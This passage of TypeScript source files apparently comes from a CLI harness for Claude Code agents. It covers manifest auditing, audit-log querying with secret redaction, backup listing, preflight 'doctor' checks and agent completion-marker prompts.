Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n manifest: string\n level: 'warn' | 'error'\n field: string\n detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n const findings: AuditFinding[] = []\n const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n const v = validateManifestFile(src, yamlPath)\n if (!v.ok) {\n return v.errors.map((e) => ({\n manifest: yamlPath,\n level: 'error' as const,\n field: e.path,\n detail: e.message,\n }))\n }\n const m = v.manifest\n\n // 1. repository URL shape — must be https + .git suffix.\n const repo = m.metadata.upstream.repository\n if (!REPO_URL_PATTERN.test(repo)) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/metadata/upstream/repository',\n detail: `repository '${repo}' should be https://...git`,\n })\n }\n\n // 2. signed_by must not be a placeholder.\n const sig = m.spec.signed_by\n if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/spec/signed_by',\n detail: `signed_by '${sig}' looks like a placeholder`,\n })\n }\n\n // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n // but cheap insurance against future migrations.\n const install = m.spec.install\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n findings.push({\n manifest: yamlPath,\n level: 'error',\n field: '/spec/install/git_ref',\n detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n })\n }\n }\n return findings\n}\n\nexport function registerAudit(program: Command): void {\n program\n .command('audit')\n .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n .option(\n '--skip-runtime',\n 'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n )\n .action(async (opts: { skipRuntime?: boolean }) => {\n const root = process.cwd()\n const dirs = ['manifests/tools', 'manifests/skill-packs']\n const yamls: string[] = []\n for (const d of dirs) {\n try {\n const entries = await readdir(join(root, d))\n for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n } catch {\n // dir absent — skip silently (project may not have all categories)\n }\n }\n yamls.sort()\n\n // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n const findings: AuditFinding[] = []\n const validManifests: Array<{\n path: string\n m: import('../manifest/schema/types.js').Manifest\n }> = []\n for (const y of yamls) {\n const src = await readFile(y, 'utf8')\n const v = validateManifestFile(src, y)\n if (v.ok) validManifests.push({ path: y, m: v.manifest })\n findings.push(...(await auditOne(y, src)))\n }\n\n // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n // 1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n // 2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n // 3. provenance gate (delegates to scripts/check-provenance.mjs)\n // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n if (!opts.skipRuntime) {\n findings.push(...auditOriginIntegrity(root))\n for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n findings.push(...auditProvenance())\n }\n\n const byManifest = new Map<string, AuditFinding[]>()\n for (const f of findings) {\n const arr = byManifest.get(f.manifest) ?? []\n arr.push(f)\n byManifest.set(f.manifest, arr)\n }\n let errorCount = 0\n for (const y of yamls) {\n const fs = byManifest.get(y) ?? []\n if (fs.length === 0) {\n console.log(`✓ ${y}`)\n } else {\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} ${y}\\n ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n }\n // Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n for (const [mname, fs] of byManifest) {\n if (yamls.includes(mname)) continue // manifest-layer already printed above\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n console.log(\n `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n )\n process.exit(errorCount > 0 ? 1 : 0)\n })\n}\n","// Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\n\nconst AUDIT_PATH = '.harnessed/audit.log'\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n console.log(header)\n console.log(sep)\n for (const r of records) {\n const ts = r.ts.slice(0, 19)\n const phase = r.phase.padEnd(6)\n const cat = r.category.padEnd(11)\n const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n return new Promise((resolve, reject) => {\n // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n const child = spawn('jq', [filterExpr], {\n stdio: ['pipe', 'inherit', 'inherit'],\n windowsHide: true,\n })\n // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n child.on('error', (err) => {\n const e = err as NodeJS.ErrnoException\n if (e.code === 'ENOENT') {\n console.error('✗ jq not found in PATH — run: harnessed doctor')\n resolve(1)\n } else {\n reject(err)\n }\n })\n child.on('close', (code) => resolve(code ?? 0))\n child.stdin.write(lines.join('\\n'))\n child.stdin.end()\n })\n}\n\nexport function registerAuditLog(program: Command): void {\n program\n .command('audit-log')\n .description('Query routing audit log (.harnessed/audit.log) with optional jq filter (R10.1)')\n .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n .option('--tail <n>', 'show N most recent records (default 50)', '50')\n .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n .option('--reverse', 'flip output order')\n .option('--json', 'output full 12-field JSON instead of human table')\n .action(\n async (opts: {\n filter?: string\n tail?: string\n head?: string\n reverse?: boolean\n json?: boolean\n }) => {\n // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n if (Number.isNaN(tailN) || tailN < 1) {\n console.error('✗ --tail must be a positive integer')\n process.exit(2)\n }\n const headN = opts.head !== undefined ? Number(opts.head) : undefined\n if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n console.error('✗ --head must be a positive integer')\n process.exit(2)\n }\n\n // Read audit.log — hardcoded path (STRIDE T: no derivation from user input).\n if (!existsSync(AUDIT_PATH)) {\n console.log('no audit records found (.harnessed/audit.log does not exist)')\n process.exit(0)\n }\n\n const raw = readFileSync(AUDIT_PATH, 'utf8')\n const lines = raw\n .split('\\n')\n .map((l) => l.trim())\n .filter((l) => l.length > 0)\n\n if (lines.length === 0) {\n console.log('no audit records found (audit.log is empty)')\n process.exit(0)\n }\n\n // Parse records; skip malformed lines silently.\n let records: AuditRecord[] = []\n for (const line of lines) {\n try {\n records.push(JSON.parse(line) as AuditRecord)\n } catch {\n // skip malformed line\n }\n }\n\n // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n if (headN !== undefined) {\n records = records.slice(0, headN)\n } else {\n records = records.slice(-tailN)\n }\n\n // D-03: --reverse flips output order.\n if (opts.reverse) records = records.reverse()\n\n // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n records = records.map(redactRecord)\n\n // D-01: --filter → pipe redacted JSONL through jq subprocess.\n if (opts.filter) {\n // jq absent → actionable error (sister doctor.ts jq check pattern).\n const redactedLines = records.map((r) => JSON.stringify(r))\n const exitCode = await pipeToJq(opts.filter, redactedLines)\n process.exit(exitCode)\n }\n\n // D-02: output format.\n if (opts.json) {\n for (const r of records) {\n console.log(JSON.stringify(r, null, 2))\n }\n } else {\n renderHumanTable(records)\n }\n\n process.exit(0)\n },\n )\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n const backup = program.command('backup').description('Backup snapshot operations')\n backup\n .command('list')\n .description('List backup snapshots under .harnessed-backup/')\n .action(async () => {\n const root = resolve(process.cwd(), '.harnessed-backup')\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log('no backups found (.harnessed-backup/ absent)')\n return\n }\n if (dirs.length === 0) {\n console.log('no backups found (.harnessed-backup/ empty)')\n return\n }\n for (const ts of dirs) {\n try {\n const meta = JSON.parse(\n await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n console.log(\n `${ts} ${meta.manifest} (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n )\n } catch {\n console.log(`${ts} (metadata.json missing or unreadable)`)\n }\n }\n console.log(`\\n${dirs.length} snapshot${dirs.length === 1 ? '' : 's'} total`)\n })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// Phase 2.4 W1 T1.2 — expanded to 5 checks + --json flag + 3-tier status enum\n// (pass/warn/fail) + warn ≠ fail exit policy (B-06). Hard limit ≤215L per B-03\n// (5% tolerance over Karpathy 200L target). Origin URL check delegates to\n// src/cli/lib/origin-check.ts (sister-share with audit, per B-28 + D2.4-3).\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C4 mitigation — WSL detection): on Windows\n// we resolve which `bash` the shell will spawn (PATH-first), then probe\n// `bash -c 'echo $WSL_DISTRO_NAME'`. If the probe outputs a non-empty string\n// the resolved bash is the WSL `bash.exe` shim (which forks a Linux process\n// — known to break ralph-loop subagent spawning on harness side, see\n// phase-1.1 finding). Empty output = Git Bash or native bash, OK.\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nfunction checkNodeVersion(): CheckResult {\n const v = process.versions.node\n const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n return major >= 22\n ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n : {\n name: 'node ≥ 22',\n status: 'fail',\n message: `node ${v} (need ≥ 22)`,\n fix: 'nvm install 22 && nvm use 22',\n }\n}\n\nasync function checkMcpScope(): Promise<CheckResult> {\n // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n const projectMcp = join(process.cwd(), '.mcp.json')\n const userClaude = join(homedir(), '.claude.json')\n\n let projectExists = false\n try {\n await readFile(projectMcp, 'utf8')\n projectExists = true\n } catch {\n // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n // if the user has them at user scope instead.\n }\n\n let userHasMcp = false\n try {\n const raw = await readFile(userClaude, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n } catch {\n // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n }\n\n if (userHasMcp) {\n return {\n name: 'mcp scope = project',\n status: 'fail',\n message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n }\n }\n return {\n name: 'mcp scope = project',\n status: 'pass',\n message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n }\n}\n\nfunction checkJq(): CheckResult {\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n if (r.status === 0 && r.stdout.trim().length > 0) {\n return {\n name: 'jq present',\n status: 'pass',\n message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n }\n }\n const fix =\n process.platform === 'win32'\n ? 'winget install jqlang.jq (or: scoop install jq)'\n : process.platform === 'darwin'\n ? 'brew install jq'\n : 'apt-get install jq (or: dnf install jq)'\n return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nfunction checkWinBash(): CheckResult {\n // Only meaningful on Windows; on Unix we report skipped-OK.\n if (process.platform !== 'win32') {\n return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n }\n // Step 1: locate the `bash` that PATH would resolve.\n const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: 'no bash on PATH',\n fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n }\n }\n // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n const distro = (probe.stdout ?? '').trim()\n if (distro.length > 0) {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n }\n }\n return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n\n// Phase 2.4 W1 T1.2 — 5th check: origin URL drift detection (warn mode for fork\n// legitimacy per B-05; audit uses hard-fail mode via same helper per B-28).\nasync function checkOriginUrl(): Promise<CheckResult> {\n const { checkOrigin } = await import('./lib/origin-check.js')\n const r = checkOrigin(process.cwd(), { allowFork: true })\n return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.2 W1 T1.5 — 6th check: gstack command prefix PROBE (D-01 LOCKED).\n// Sister Phase 2.4 W1 checkOriginUrl L130-134 dynamic import + delegate pattern.\nasync function checkGstackPrefix(): Promise<CheckResult> {\n const { probeGstackPrefix } = await import('./lib/probe-gstack.js')\n const r = probeGstackPrefix()\n return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.3 W1 T1.7 — 7th check: deprecated manifests via aliases.yaml (D-02\n// DOCTOR-ONLY-WARN). Phase 3.4 W1 T1.2 — 8th check: skill description token\n// budget (D-03 BUFFER /4 + D-04 DOCTOR WARN). Option A inline shrink (3L each)\n// per RESEARCH § 1.3 + sister L138-142 checkGstackPrefix 100% delegate pattern.\nasync function checkDeprecations(): Promise<CheckResult> {\n return (await import('./lib/check-deprecations.js')).checkDeprecations()\n}\nasync function checkTokenBudget(): Promise<CheckResult> {\n return (await import('./lib/check-token-budget.js')).checkTokenBudget()\n}\n\nexport function registerDoctor(program: Command): void {\n program\n .command('doctor')\n .description(\n 'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n // Phase 4.3 W0 sister 3rd-cycle absorb #BT — 5 async checks have no data\n // dependencies, parallelize via Promise.all (was sequential await chain).\n // Sync checks (Node/jq/winBash) stay inline; final array preserves the\n // legacy ordering so doctor.test.ts cell 1 + 4 + 5 + check-order remain green.\n const [mcpScope, originUrl, gstackPrefix, deprecations, tokenBudget] = await Promise.all([\n checkMcpScope(),\n checkOriginUrl(),\n checkGstackPrefix(), // ← Phase 3.2 W1 T1.5 ADD 6th check (D-01 PROBE)\n checkDeprecations(), // ← Phase 3.3 W1 T1.7 ADD 7th check (D-02 DOCTOR-ONLY-WARN)\n checkTokenBudget(), // ← Phase 3.4 W1 T1.2 ADD 8th check (D-03 + D-04 DOCTOR WARN)\n ])\n const results: CheckResult[] = [\n checkNodeVersion(),\n mcpScope,\n checkJq(),\n checkWinBash(),\n originUrl,\n gstackPrefix,\n deprecations,\n tokenBudget,\n ]\n const hasFail = results.some((r) => r.status === 'fail')\n const hasWarn = results.some((r) => r.status === 'warn')\n if (opts.json) {\n console.log(\n JSON.stringify(\n { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n null,\n 2,\n ),\n )\n } else {\n for (const r of results) {\n const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n console.log(`${mark} ${r.name} — ${r.message}`)\n if (r.status !== 'pass' && r.fix) console.log(` fix: ${r.fix}`)\n }\n console.log(\n hasFail\n ? '\\nsome checks failed (see fix hints above)'\n : hasWarn\n ? '\\nall checks ok (with warnings — see hints above)'\n : '\\nall checks passed',\n )\n }\n process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n })\n}\n","// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// execute-task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n type: 'object',\n properties: {\n status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n summary: { type: 'string' },\n blockers: { type: 'array', items: { type: 'string' } },\n },\n required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n * detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n subtype?: string\n structured_output?: { status?: CompletionStatus }\n text?: string\n result?: string\n}\n","// Phase 1.4 T3.3 — main agent system prompt verbatim COMPLETE template (Pattern O).\n// Phase 1.5 T5.1 — `<promise>COMPLETE</promise>` XML wrapper upgrade (ADR 0009 §\n// Decision Errata 3 / D1.5-4 sub-item 3 / R2 fresh 2026-05-14).\n// Phase 2.2 W2 T2.3 — dual-signal PRIMARY schema inject (ADR 0011 errata B-02\n// B-27 PATTERNS § 2.3 / § 2.5 row 5). Belt-and-suspenders: when outputFormat\n// json_schema is set on the query, agents emit a structured object conforming\n// to COMPLETION_SCHEMA (PRIMARY signal); they ALSO emit\n// `<promise>COMPLETE</promise>` (FALLBACK signal — required for inner-layer\n// subagent completion detection per RESEARCH § 1.3 4-layer table).\n//\n// IMPL NOTE — 1:1 对应 docs/AGENT-DEFINITION-FACTORY-CONTRACT.md § 5.4 verbatim\n// COMPLETE template. D-18 plan-checker enforce: any drift here = ADR 0009+\n// errata trigger. F33 P1 mitigation — main agent must pass subagent final\n// message verbatim (no summarize/paraphrase) so that the COMPLETE token\n// survives round-trip.\n//\n// Phase 1.5 upgrade: raw `^COMPLETE$/m` regex → `<promise>COMPLETE</promise>`\n// verbatim XML wrapper. The XML wrapper disambiguates think-out-loud text (e.g.\n// \"I should output COMPLETE to signal done\") from the actual completion signal.\n// SPIKE-REPORT-2.md § 3 validated `<promise>([^<]+)</promise>` extract is robust\n// against false positives that the raw `^COMPLETE$/m` regex was prone to.\n// Switching to the official `--add-plugin ralph-wiggum` plugin (phase 2.1+,\n// ADR 0010+ evaluation window) keeps this protocol unchanged — `<promise>...\n// </promise>` is the ralph-wiggum official tag format.\n//\n// Pattern O (phase 1.4) — verbatim instructional prompt template; the const\n// SYSTEM_PROMPT is the single source of truth consumed by engine.ts and echoed\n// inside agentDefinition.ts via COMPLETE_INSTRUCTION (routing-engine.test.ts\n// asserts toContain to lock drift).\n\nimport { COMPLETION_SCHEMA } from './completionSchema.js'\n\n/** Main agent system prompt — F33 P1 verbatim COMPLETE 强制 + skills fail-fast\n * + max-iterations × maxTurns 兜底. Sourced 1:1 from contract § 5.4.\n * Phase 2.2 W2 T2.3 appends a dual-signal segment for the SC3 PRIMARY path. */\nexport const SYSTEM_PROMPT = `## RULE: subagent COMPLETE marker\nWhen you spawn a subagent and it returns a final message:\n1. **DO NOT summarize, paraphrase, or interpret the subagent's final message**\n2. **DO NOT skip or omit the COMPLETE marker**\n3. The subagent will emit \\`<promise>COMPLETE</promise>\\` (exact verbatim XML wrapper) when done\n4. You MUST verbatim grep \\`<promise>COMPLETE</promise>\\` from final message → if present, treat task as done\n5. If \\`<promise>COMPLETE</promise>\\` absent → re-spawn subagent (max 20 iterations); after max, throw VerbatimCompleteFailError\n\n## skills fail-fast handling\n- SkillNotInstalledError → print user-friendly fix command (e.g., \"Run: harnessed install <name>\")\n- RestartRequiredError → print \"请 exit + restart Claude Code 让 plugin 生效\"\n\n## 兜底 max-iterations\n- max-iterations 20 (external ralph-loop) × maxTurns 50 (internal AgentDefinition) = 1000 round-trips worst case\n\n## Completion signal (dual-signal — emit BOTH)\nIf \\`outputFormat: { type: 'json_schema' }\\` is set on this query, emit a final-turn output conforming to the schema (status/phase/summary/blockers — keys: ${Object.keys(COMPLETION_SCHEMA.properties).join(', ')}).\nAND emit \\`<promise>COMPLETE</promise>\\` (FALLBACK signal — required regardless of structured output presence, for inner-layer subagent completion detection per RESEARCH § 1.3).\n`\n\n/** Subagent-side CRITICAL RULE — prepended into AgentDefinition.prompt by the\n * factory (T3.2). Instructs the subagent to emit `<promise>COMPLETE</promise>`\n * verbatim once done so the main agent's XML-wrapper extract matches without\n * paraphrase loss and without think-out-loud false positives. */\nexport const COMPLETE_INSTRUCTION = `## CRITICAL RULE: COMPLETE marker\nWhen your task is done, emit the exact verbatim XML wrapper\n\\`<promise>COMPLETE</promise>\\` on its own line and nothing else after it. Do\nNOT emit any other variant — not \"completed\", not \"DONE\", not bare \\`COMPLETE\\`,\nnot \"✅\". The parent agent will verbatim grep \\`<promise>COMPLETE</promise>\\` —\nany deviation fails the round-trip and forces a re-spawn (max 20 iterations).\n`\n","// Phase 1.4 T3.2 — AgentDefinition factory (1:1 docs/AGENT-DEFINITION-FACTORY-\n// CONTRACT.md v1, frozen at phase 1.3 ship).\n// Phase 1.5 T5.3 — contract v1.1: 12 → 14 字段 (ADR 0009 § Decision Errata 1 /\n// D1.5-4 sub-item 1). Adds `initialPrompt` (Stable) +\n// `criticalSystemReminder_EXPERIMENTAL` (Experimental — `_EXPERIMENTAL` suffix\n// signals the field name itself may change without a semver bump).\n//\n// IMPL NOTE — implements docs/AGENT-DEFINITION-FACTORY-CONTRACT.md v1.1 (v1\n// frozen at phase 1.3 ship; v1.1 additive errata appended at phase 1.5). ADR\n// 0009 § Decision Errata 1 cross-link tracks the 12 → 14 字段 delta. D-14\n// throw-error (not Result wrap) — typed error classes propagate to engine.ts\n// narrow into EngineResult. D1.4-14 prepends Karpathy 4 心法 always-on baseline\n// + COMPLETE_INSTRUCTION (1:1 imported from systemPrompt.ts T3.3). Any enum\n// drift across the 14 字段 = ADR 0009+ errata trigger (D-18 enforce — W-5 V1\n// BLOCKER drift detector enum extended 12 → 14: see AGENT_DEFINITION_FIELDS +\n// routing-engine.test.ts cell 13 / routing-agentDefinition.test.ts cell 1).\n//\n// IMPL NOTE — F40-2 (executor 2026-05-13): contract § 3 shows\n// `import type { AgentDefinition } from '@anthropic-ai/claude-agent-sdk'` as\n// the ideal anchor. package.json does NOT include the SDK runtime dep; to\n// preserve karpathy YAGNI + avoid an architectural surface change mid-execute,\n// this file declares the AgentDefinition shape **structurally 1:1** with\n// contract § 2 inline. Drift caught by routing-agentDefinition.test.ts cell 1\n// (memory + permissionMode enum value assert — B-1/B-2 V1 BLOCKER fix). SDK\n// type alias migration deferred to phase 1.5 (D1.4-2 errata window).\n// SPIKE-REPORT.md § 3 verbatim COMPLETE round-trip FEASIBLE on Win Git Bash\n// claude CLI v2.1.133 — verbatim grep `^COMPLETE$/m` stable.\n\nimport { existsSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { COMPLETE_INSTRUCTION } from './systemPrompt.js'\n\n/** AgentDefinition — structural mirror of contract § 2 v1.1 (14 fields). Drift\n * caught by routing-agentDefinition.test.ts cell 1 + routing-engine.test.ts\n * cell 13 enum value asserts (W-5 V1 BLOCKER drift detector — 14 字段). */\nexport interface AgentDefinition {\n // Required (§ 2.1)\n description: string\n prompt: string\n // Optional (§ 2.2 — 10 fields)\n tools?: string[]\n disallowedTools?: string[]\n model?: 'sonnet' | 'opus' | 'haiku' | 'inherit' | string\n skills?: string[]\n mcpServers?: Record<string, unknown>\n memory?: 'user' | 'project' | 'local'\n maxTurns?: number\n background?: boolean\n effort?: 'low' | 'medium' | 'high' | 'xhigh' | 'max' | number\n permissionMode?: 'default' | 'acceptEdits' | 'bypassPermissions' | 'plan'\n // v1.1 errata (§ 2.3 — ADR 0009 § Decision Errata 1, 2026-05-14)\n /** Stable (2026-05): auto-submitted as the first user turn when a plugin\n * agent runs as the main-thread agent (plugin settings.json `agent: <name>`\n * upgrade scenario only). */\n initialPrompt?: string\n /** EXPERIMENTAL: critical reminder injected into the system prompt. The\n * `_EXPERIMENTAL` suffix signals the API may rename this field WITHOUT a\n * semver bump — monitor code.claude.com/docs/en/agent-sdk/typescript release\n * notes (ADR 0009 § Consequences 负面 3). */\n criticalSystemReminder_EXPERIMENTAL?: string\n}\n\n/** W-5 V1 BLOCKER drift detector — the canonical 14-field name list (contract\n * v1.1 § 2). Any add/remove here MUST land with a matching contract.md errata\n * + test cell (D-18 enforce). Extended 12 → 14 at phase 1.5 T5.3. */\nexport const AGENT_DEFINITION_FIELDS = [\n 'description',\n 'prompt',\n 'tools',\n 'disallowedTools',\n 'model',\n 'skills',\n 'mcpServers',\n 'memory',\n 'maxTurns',\n 'background',\n 'effort',\n 'permissionMode',\n 'initialPrompt',\n 'criticalSystemReminder_EXPERIMENTAL',\n] as const\n\n/** Routing arbitrate output (1:1 contract § 3). */\nexport interface ArbitrateResult {\n matched_rule_id: string | null\n primary_expert: string | null\n secondary_expert: string | null\n category: 'meta' | 'engineering' | 'design' | 'content' | 'testing' | 'search'\n forbidden_skills?: string[]\n complexity?: 'low' | 'medium' | 'high' | 'xhigh' | 'max'\n required_skills?: string[]\n}\n\n/** User task context (1:1 contract § 3). */\nexport interface TaskContext {\n task: string\n override_keywords?: string[]\n task_type?: string\n cwd?: string\n /** Phase identifier (e.g., \"3.1\") for checkpoint paths. Falls back to \"unknown\" if not provided.\n * Phase 3.1 W1 T1.1 — W-04 fix path (a): eliminates `(matched?.decision as any)?.phase` cast\n * (Karpathy \"Surgical Changes\" + type safety). */\n phaseId?: string\n}\n\n/** Caller overrides (1:1 contract § 3). */\nexport interface AgentDefinitionOpts {\n modelOverride?: AgentDefinition['model']\n permissionModeOverride?: 